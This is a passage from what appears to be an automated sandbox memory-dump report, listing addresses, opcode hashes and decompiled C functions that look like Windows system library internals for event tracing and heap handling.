                                      0x0366917f
                                      0x03669182
                                      0x03669182
                                      0x03669187
                                      0x03669187
                                      0x0366918a
                                      0x0366918d
                                      0x0366918f
                                      0x03669192
                                      0x03669195
                                      0x03669198
                                      0x03669198
                                      0x03669198
                                      0x0366919a
                                      0x00000000
                                      0x00000000
                                      0x036c371f
                                      0x036c3721
                                      0x036c3727
                                      0x036c372f
                                      0x036c3733
                                      0x036c3735
                                      0x036c3738
                                      0x036c373b
                                      0x036c373d
                                      0x036c3740
                                      0x00000000
                                      0x036c3746
                                      0x036c3746
                                      0x036c3749
                                      0x00000000
                                      0x036c374f
                                      0x036c374f
                                      0x036c3751
                                      0x036c3757
                                      0x036c3759
                                      0x036c375c
                                      0x036c375c
                                      0x036c375e
                                      0x036c375e
                                      0x036c3761
                                      0x036c3764
                                      0x00000000
                                      0x00000000
                                      0x036c3766
                                      0x036c3768
                                      0x036c37a3
                                      0x036c37a3
                                      0x036c37a5
                                      0x036c37a7
                                      0x036c37ad
                                      0x036c37b0
                                      0x036c37b2
                                      0x036c37bc
                                      0x036c37c2
                                      0x036c37c2
                                      0x036c37b2
                                      0x03669187
                                      0x03669187
                                      0x0366918a
                                      0x0366918d
                                      0x0366918f
                                      0x03669192
                                      0x03669195
                                      0x00000000
                                      0x03669195
                                      0x00000000
                                      0x036c376a
                                      0x036c376a
                                      0x036c376a
                                      0x036c376c
                                      0x036c376c
                                      0x036c376f
                                      0x036c3775
                                      0x00000000
                                      0x00000000
                                      0x036c3777
                                      0x036c3779
                                      0x036c3782
                                      0x036c3787
                                      0x036c3789
                                      0x036c3790
                                      0x036c3790
                                      0x036c378b
                                      0x036c378b
                                      0x036c378b
                                      0x036c3792
                                      0x036c3795
                                      0x00000000
                                      0x036c3795
                                      0x00000000
                                      0x036c3779
                                      0x036c3798
                                      0x00000000
                                      0x036c3798
                                      0x00000000
                                      0x036c3768
                                      0x036c379b
                                      0x036c379b
                                      0x036c3751
                                      0x036c3749
                                      0x00000000
                                      0x036c3740
                                      0x036691a0
                                      0x036691a3
                                      0x036691a9
                                      0x036691b0
                                      0x00000000
                                      0x036691b0
                                      0x03669187
                                      0x036691b4
                                      0x036691b4
                                      0x036691bb
                                      0x036691c0
                                      0x036691c5
                                      0x036691c7
                                      0x036c37da
                                      0x036691cd
                                      0x036691cd
                                      0x036691cd
                                      0x036691d2
                                      0x036691d5
                                      0x03669239
                                      0x03669239
                                      0x036691d7
                                      0x036691db
                                      0x036691e1
                                      0x036691e7
                                      0x036691fd
                                      0x03669203
                                      0x0366921e
                                      0x03669223
                                      0x00000000
                                      0x03669205
                                      0x03669205
                                      0x03669208
                                      0x0366920c
                                      0x03669214
                                      0x03669214
                                      0x0366920c
                                      0x036691e9
                                      0x036691e9
                                      0x036691ee
                                      0x036691f3
                                      0x036691f3
                                      0x036691f3
                                      0x036691e7
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03669134
                                      0x03669125
                                      0x0366911d
                                      0x0366914e
                                      0x036690d1
                                      0x036690d1
                                      0x036690d3
                                      0x036690d6
                                      0x036690d8
                                      0x00000000
                                      0x036690d8
                                      0x036690cf

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3c71636635b42be103e3904031082f5cbd96e55f239363142f909743d0b4d055
                                      • Instruction ID: 2cb5bfe54390d15d860294a1528c5da9803fa244aea44a07eb5689d43cac638a
                                      • Opcode Fuzzy Hash: 3c71636635b42be103e3904031082f5cbd96e55f239363142f909743d0b4d055
                                      • Instruction Fuzzy Hash: 8F01A472601B049FD319DF14D940B11B7E9EB46364F25406AE905CF791C7B4DC41CB94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 86%
                                      			E03734015(signed int __eax, signed int __ecx) {
                                      				void* __ebx;
                                      				void* __edi;
                                      				signed char _t10;
                                      				signed int _t28;
                                      
                                      				_push(__ecx);
                                      				_t28 = __ecx;
                                      				asm("lock xadd [edi+0x24], eax");
                                      				_t10 = (__eax | 0xffffffff) - 1;
                                      				if(_t10 == 0) {
                                      					_t1 = _t28 + 0x1c; // 0x1e
                                      					E03682280(_t10, _t1);
                                      					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
                                      					E03682280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x37586ac);
                                      					E0366F900(0x37586d4, _t28);
                                      					E0367FFB0(0x37586ac, _t28, 0x37586ac);
                                      					 *((intOrPtr*)(_t28 + 0x20)) = 0;
                                      					E0367FFB0(0, _t28, _t1);
                                      					_t18 =  *((intOrPtr*)(_t28 + 0x94));
                                      					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
                                      					}
                                      					_t10 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
                                      				}
                                      				return _t10;
                                      			}







                                      0x0373401a
                                      0x0373401e
                                      0x03734023
                                      0x03734028
                                      0x03734029
                                      0x0373402b
                                      0x0373402f
                                      0x03734043
                                      0x03734046
                                      0x03734051
                                      0x03734057
                                      0x0373405f
                                      0x03734062
                                      0x03734067
                                      0x0373406f
                                      0x0373407c
                                      0x0373407c
                                      0x0373408c
                                      0x0373408c
                                      0x03734097

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c8ca38b5fb5827ed9784e46f109521ee045d5a148e768fe8775f87ef0a42c773
                                      • Instruction ID: 26ada766a3928fed9523099ad6b425be952cc39ec460af90544afdf493c0d9f1
                                      • Opcode Fuzzy Hash: c8ca38b5fb5827ed9784e46f109521ee045d5a148e768fe8775f87ef0a42c773
                                      • Instruction Fuzzy Hash: 55018F76341A49BFD315FB79CD84E57B7ACEB49660B000729F5088BA12CB64EC11C6E8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 61%
                                      			E0372138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
                                      				signed int _v8;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				short _v54;
                                      				char _v60;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed char* _t21;
                                      				intOrPtr _t27;
                                      				intOrPtr _t33;
                                      				intOrPtr _t34;
                                      				signed int _t35;
                                      
                                      				_t32 = __edx;
                                      				_t27 = __ebx;
                                      				_v8 =  *0x375d360 ^ _t35;
                                      				_t33 = __edx;
                                      				_t34 = __ecx;
                                      				E036AFA60( &_v60, 0, 0x30);
                                      				_v20 = _a4;
                                      				_v16 = _a8;
                                      				_v28 = _t34;
                                      				_v24 = _t33;
                                      				_v54 = 0x1033;
                                      				if(E03687D50() == 0) {
                                      					_t21 = 0x7ffe0388;
                                      				} else {
                                      					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      				}
                                      				_push( &_v60);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t21 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
                                      			}

















                                      0x0372138a
                                      0x0372138a
                                      0x03721399
                                      0x037213a3
                                      0x037213a8
                                      0x037213aa
                                      0x037213b5
                                      0x037213bb
                                      0x037213c3
                                      0x037213c6
                                      0x037213c9
                                      0x037213d4
                                      0x037213e6
                                      0x037213d6
                                      0x037213df
                                      0x037213df
                                      0x037213f1
                                      0x037213f2
                                      0x037213f4
                                      0x037213f9
                                      0x0372140e

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 7c1eee426c35a73ba2bd362db8aee4049b8507c9715cb32f4af43d5e5ce5953a
                                      • Instruction ID: 6499c1425b4592ced9a3cb5fb17218d1a070d1fb1c2e6cdaedc5bbaa681ca3ec
                                      • Opcode Fuzzy Hash: 7c1eee426c35a73ba2bd362db8aee4049b8507c9715cb32f4af43d5e5ce5953a
                                      • Instruction Fuzzy Hash: 16015275A00758AFCB14EFA9D841EAEBBB8EF44710F50405AB904EB281D6749E41CB95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 61%
                                      			E037214FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
                                      				signed int _v8;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				short _v54;
                                      				char _v60;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed char* _t21;
                                      				intOrPtr _t27;
                                      				intOrPtr _t33;
                                      				intOrPtr _t34;
                                      				signed int _t35;
                                      
                                      				_t32 = __edx;
                                      				_t27 = __ebx;
                                      				_v8 =  *0x375d360 ^ _t35;
                                      				_t33 = __edx;
                                      				_t34 = __ecx;
                                      				E036AFA60( &_v60, 0, 0x30);
                                      				_v20 = _a4;
                                      				_v16 = _a8;
                                      				_v28 = _t34;
                                      				_v24 = _t33;
                                      				_v54 = 0x1034;
                                      				if(E03687D50() == 0) {
                                      					_t21 = 0x7ffe0388;
                                      				} else {
                                      					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      				}
                                      				_push( &_v60);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t21 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
                                      			}

















                                      0x037214fb
                                      0x037214fb
                                      0x0372150a
                                      0x03721514
                                      0x03721519
                                      0x0372151b
                                      0x03721526
                                      0x0372152c
                                      0x03721534
                                      0x03721537
                                      0x0372153a
                                      0x03721545
                                      0x03721557
                                      0x03721547
                                      0x03721550
                                      0x03721550
                                      0x03721562
                                      0x03721563
                                      0x03721565
                                      0x0372156a
                                      0x0372157f

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d84d1276695c63682c4e986d2cc1fac6fd06b0315948f3935e44e4d052c45dde
                                      • Instruction ID: da2267e54cea4d7c3c761edbda2196a55049dbbd4fb62ee04d4066684a756143
                                      • Opcode Fuzzy Hash: d84d1276695c63682c4e986d2cc1fac6fd06b0315948f3935e44e4d052c45dde
                                      • Instruction Fuzzy Hash: 43018C75A00358AFCB14EFA9D841EAEBBB8EF44700F40406AB914EB380DA74DE00CB94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 91%
                                      			E036658EC(intOrPtr __ecx) {
                                      				signed int _v8;
                                      				char _v28;
                                      				char _v44;
                                      				char _v76;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr _t10;
                                      				intOrPtr _t16;
                                      				intOrPtr _t17;
                                      				intOrPtr _t27;
                                      				intOrPtr _t28;
                                      				signed int _t29;
                                      
                                      				_v8 =  *0x375d360 ^ _t29;
                                      				_t10 =  *[fs:0x30];
                                      				_t27 = __ecx;
                                      				if(_t10 == 0) {
                                      					L6:
                                      					_t28 = 0x3645c80;
                                      				} else {
                                      					_t16 =  *((intOrPtr*)(_t10 + 0x10));
                                      					if(_t16 == 0) {
                                      						goto L6;
                                      					} else {
                                      						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
                                      					}
                                      				}
                                      				if(E03665943() != 0 &&  *0x3755320 > 5) {
                                      					E036E7B5E( &_v44, _t27);
                                      					_t22 =  &_v28;
                                      					E036E7B5E( &_v28, _t28);
                                      					_t11 = E036E7B9C(0x3755320, 0x364bf15,  &_v28, _t22, 4,  &_v76);
                                      				}
                                      				return E036AB640(_t11, _t17, _v8 ^ _t29, 0x364bf15, _t27, _t28);
                                      			}















                                      0x036658fb
                                      0x036658fe
                                      0x03665906
                                      0x0366590a
                                      0x0366593c
                                      0x0366593c
                                      0x0366590c
                                      0x0366590c
                                      0x03665911
                                      0x00000000
                                      0x03665913
                                      0x03665913
                                      0x03665913
                                      0x03665911
                                      0x0366591d
                                      0x036c1035
                                      0x036c103c
                                      0x036c103f
                                      0x036c1056
                                      0x036c1056
                                      0x0366593b

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fb8f1a9c88f2d4007f6f8c80cba42976f7f36d432842c713f64370132f0593e6
                                      • Instruction ID: a8d691e7704c0461b908754710569b04e9b4830074ef1d4bef5b7fab7303062f
                                      • Opcode Fuzzy Hash: fb8f1a9c88f2d4007f6f8c80cba42976f7f36d432842c713f64370132f0593e6
                                      • Instruction Fuzzy Hash: 9401F231A006489BC714EF69D9019AEB7B8EF46170F8841ADAA0B9B244DE70ED06C794
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 59%
                                      			E0371FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
                                      				signed int _v12;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				short _v58;
                                      				char _v64;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed char* _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr _t30;
                                      				intOrPtr _t31;
                                      				signed int _t32;
                                      
                                      				_t29 = __edx;
                                      				_t24 = __ebx;
                                      				_v12 =  *0x375d360 ^ _t32;
                                      				_t30 = __edx;
                                      				_t31 = __ecx;
                                      				E036AFA60( &_v64, 0, 0x30);
                                      				_v24 = _a4;
                                      				_v32 = _t31;
                                      				_v28 = _t30;
                                      				_v58 = 0x267;
                                      				if(E03687D50() == 0) {
                                      					_t18 = 0x7ffe0388;
                                      				} else {
                                      					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      				}
                                      				_push( &_v64);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t18 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
                                      			}
















                                      0x0371fe3f
                                      0x0371fe3f
                                      0x0371fe4e
                                      0x0371fe58
                                      0x0371fe5d
                                      0x0371fe5f
                                      0x0371fe6a
                                      0x0371fe72
                                      0x0371fe75
                                      0x0371fe78
                                      0x0371fe83
                                      0x0371fe95
                                      0x0371fe85
                                      0x0371fe8e
                                      0x0371fe8e
                                      0x0371fea0
                                      0x0371fea1
                                      0x0371fea3
                                      0x0371fea8
                                      0x0371febd

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e3aa1fea08afd28a50286b96036da3c65043d2eb1d7f10c3157db76c6da043aa
                                      • Instruction ID: 8ed35ef3415ae2b33e1ad28e06cf7dffa7e1a4afb2eeda5ec160b7c8ee77c1ed
                                      • Opcode Fuzzy Hash: e3aa1fea08afd28a50286b96036da3c65043d2eb1d7f10c3157db76c6da043aa
                                      • Instruction Fuzzy Hash: D6018475A00358ABCB14EFADD845FAEB7B8EF44700F00416AF900AF281DA749911CB99
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 59%
                                      			E0371FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
                                      				signed int _v12;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				short _v58;
                                      				char _v64;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed char* _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr _t30;
                                      				intOrPtr _t31;
                                      				signed int _t32;
                                      
                                      				_t29 = __edx;
                                      				_t24 = __ebx;
                                      				_v12 =  *0x375d360 ^ _t32;
                                      				_t30 = __edx;
                                      				_t31 = __ecx;
                                      				E036AFA60( &_v64, 0, 0x30);
                                      				_v24 = _a4;
                                      				_v32 = _t31;
                                      				_v28 = _t30;
                                      				_v58 = 0x266;
                                      				if(E03687D50() == 0) {
                                      					_t18 = 0x7ffe0388;
                                      				} else {
                                      					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      				}
                                      				_push( &_v64);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t18 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
                                      			}
















                                      0x0371fec0
                                      0x0371fec0
                                      0x0371fecf
                                      0x0371fed9
                                      0x0371fede
                                      0x0371fee0
                                      0x0371feeb
                                      0x0371fef3
                                      0x0371fef6
                                      0x0371fef9
                                      0x0371ff04
                                      0x0371ff16
                                      0x0371ff06
                                      0x0371ff0f
                                      0x0371ff0f
                                      0x0371ff21
                                      0x0371ff22
                                      0x0371ff24
                                      0x0371ff29
                                      0x0371ff3e

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 5e2b4f9acce11dc86f7c19a68f3bc307f851206af6fa374845bf68f09d1443fb
                                      • Instruction ID: 6109295625522b7d9d57e7e2e39ce64ee158bf4e9dc7cb8bc0935742bc3ce400
                                      • Opcode Fuzzy Hash: 5e2b4f9acce11dc86f7c19a68f3bc307f851206af6fa374845bf68f09d1443fb
                                      • Instruction Fuzzy Hash: 84018475A0071CABCB14EBADD845FAEB7B8EF45700F04416AF900AB280DA749A11CB99
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03731074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
                                      				char _v8;
                                      				void* _v11;
                                      				unsigned int _v12;
                                      				void* _v15;
                                      				void* __esi;
                                      				void* __ebp;
                                      				char* _t16;
                                      				signed int* _t35;
                                      
                                      				_t22 = __ebx;
                                      				_t35 = __ecx;
                                      				_v8 = __edx;
                                      				_t13 =  !( *__ecx) + 1;
                                      				_v12 =  !( *__ecx) + 1;
                                      				if(_a4 != 0) {
                                      					E0373165E(__ebx, 0x3758ae4, (__edx -  *0x3758b04 >> 0x14) + (__edx -  *0x3758b04 >> 0x14), __edi, __ecx, (__edx -  *0x3758b04 >> 0x14) + (__edx -  *0x3758b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
                                      				}
                                      				E0372AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
                                      				if(E03687D50() == 0) {
                                      					_t16 = 0x7ffe0388;
                                      				} else {
                                      					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
                                      				}
                                      				if( *_t16 != 0) {
                                      					_t16 = E0371FE3F(_t22, _t35, _v8, _v12);
                                      				}
                                      				return _t16;
                                      			}











                                      0x03731074
                                      0x03731080
                                      0x03731082
                                      0x0373108a
                                      0x0373108f
                                      0x03731093
                                      0x037310ab
                                      0x037310ab
                                      0x037310c3
                                      0x037310cf
                                      0x037310e1
                                      0x037310d1
                                      0x037310da
                                      0x037310da
                                      0x037310e9
                                      0x037310f5
                                      0x037310f5
                                      0x037310fe

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0df3e09d0c97640c7bc144ecbcb6cbeaa535fabd403c0b776b4001677b3487dd
                                      • Instruction ID: ffce75dcf991b4dbcf8ce059f97f398f8b2370bf38b7ea8992bef5d756c61e5d
                                      • Opcode Fuzzy Hash: 0df3e09d0c97640c7bc144ecbcb6cbeaa535fabd403c0b776b4001677b3487dd
                                      • Instruction Fuzzy Hash: 3D019772204749EFC310FF29C844B5AB7E9AB84300F04C629F88187291EE30D840CBA2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0367B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
                                      				signed char _t11;
                                      				signed char* _t12;
                                      				intOrPtr _t24;
                                      				signed short* _t25;
                                      
                                      				_t25 = __edx;
                                      				_t24 = __ecx;
                                      				_t11 = ( *[fs:0x30])[0x50];
                                      				if(_t11 != 0) {
                                      					if( *_t11 == 0) {
                                      						goto L1;
                                      					}
                                      					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
                                      					L2:
                                      					if( *_t12 != 0) {
                                      						_t12 =  *[fs:0x30];
                                      						if((_t12[0x240] & 0x00000004) == 0) {
                                      							goto L3;
                                      						}
                                      						if(E03687D50() == 0) {
                                      							_t12 = 0x7ffe0385;
                                      						} else {
                                      							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
                                      						}
                                      						if(( *_t12 & 0x00000020) == 0) {
                                      							goto L3;
                                      						}
                                      						return E036E7016(_a4, _t24, 0, 0, _t25, 0);
                                      					}
                                      					L3:
                                      					return _t12;
                                      				}
                                      				L1:
                                      				_t12 = 0x7ffe0384;
                                      				goto L2;
                                      			}







                                      0x0367b037
                                      0x0367b039
                                      0x0367b03b
                                      0x0367b040
                                      0x036ca60e
                                      0x00000000
                                      0x00000000
                                      0x036ca61d
                                      0x0367b04b
                                      0x0367b04e
                                      0x036ca627
                                      0x036ca634
                                      0x00000000
                                      0x00000000
                                      0x036ca641
                                      0x036ca653
                                      0x036ca643
                                      0x036ca64c
                                      0x036ca64c
                                      0x036ca65b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036ca66c
                                      0x0367b057
                                      0x0367b057
                                      0x0367b057
                                      0x0367b046
                                      0x0367b046
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                      • Instruction ID: e7c3938af1969c46aae07b7d6cc91c9517d06453f12f546a9d0d950d7fd585bf
                                      • Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                      • Instruction Fuzzy Hash: 7F017C72215AC49FD322C75DCA88F76B7DCEF45654F0900A5F919CBB51D628DC81C624
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 54%
                                      			E03738A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                      				signed int _v12;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				intOrPtr _v36;
                                      				intOrPtr _v40;
                                      				short _v66;
                                      				char _v72;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed char* _t18;
                                      				signed int _t32;
                                      
                                      				_t29 = __edx;
                                      				_v12 =  *0x375d360 ^ _t32;
                                      				_t31 = _a8;
                                      				_t30 = _a12;
                                      				_v66 = 0x1c20;
                                      				_v40 = __ecx;
                                      				_v36 = __edx;
                                      				_v32 = _a4;
                                      				_v28 = _a8;
                                      				_v24 = _a12;
                                      				if(E03687D50() == 0) {
                                      					_t18 = 0x7ffe0386;
                                      				} else {
                                      					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v72);
                                      				_push(0x14);
                                      				_push(0x20402);
                                      				_push( *_t18 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
                                      			}
















                                      0x03738a62
                                      0x03738a71
                                      0x03738a79
                                      0x03738a82
                                      0x03738a85
                                      0x03738a89
                                      0x03738a8c
                                      0x03738a8f
                                      0x03738a92
                                      0x03738a95
                                      0x03738a9f
                                      0x03738ab1
                                      0x03738aa1
                                      0x03738aaa
                                      0x03738aaa
                                      0x03738abc
                                      0x03738abd
                                      0x03738abf
                                      0x03738ac4
                                      0x03738ada

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fddd410e9eb4311ce041858b891aa271c229db4a92b1d4f17c0d69e893c36303
                                      • Instruction ID: e540fd4a0c2622877cdf96a6cbf91cf3bc0532bb6593eb0c2ecdcb06aaa0ef4b
                                      • Opcode Fuzzy Hash: fddd410e9eb4311ce041858b891aa271c229db4a92b1d4f17c0d69e893c36303
                                      • Instruction Fuzzy Hash: 9B012C75A0031CAFCB04DFA9D9819AEB7B8EF49310F10405AF905EB341D674AD00CBA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 54%
                                      			E03738ED6(intOrPtr __ecx, intOrPtr __edx) {
                                      				signed int _v8;
                                      				signed int _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				intOrPtr _v36;
                                      				short _v62;
                                      				char _v68;
                                      				signed char* _t29;
                                      				intOrPtr _t35;
                                      				intOrPtr _t41;
                                      				intOrPtr _t42;
                                      				signed int _t43;
                                      
                                      				_t40 = __edx;
                                      				_v8 =  *0x375d360 ^ _t43;
                                      				_v28 = __ecx;
                                      				_v62 = 0x1c2a;
                                      				_v36 =  *((intOrPtr*)(__edx + 0xc8));
                                      				_v32 =  *((intOrPtr*)(__edx + 0xcc));
                                      				_v20 =  *((intOrPtr*)(__edx + 0xd8));
                                      				_v16 =  *((intOrPtr*)(__edx + 0xd4));
                                      				_v24 = __edx;
                                      				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
                                      				if(E03687D50() == 0) {
                                      					_t29 = 0x7ffe0386;
                                      				} else {
                                      					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v68);
                                      				_push(0x1c);
                                      				_push(0x20402);
                                      				_push( *_t29 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
                                      			}


















                                      0x03738ed6
                                      0x03738ee5
                                      0x03738eed
                                      0x03738ef0
                                      0x03738efa
                                      0x03738f03
                                      0x03738f0c
                                      0x03738f15
                                      0x03738f24
                                      0x03738f27
                                      0x03738f31
                                      0x03738f43
                                      0x03738f33
                                      0x03738f3c
                                      0x03738f3c
                                      0x03738f4e
                                      0x03738f4f
                                      0x03738f51
                                      0x03738f56
                                      0x03738f69

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a62e254a4bb7d5ca0d25183dd9ea365ba5a1a21e2ac9bde6d2a4536ccc2902d9
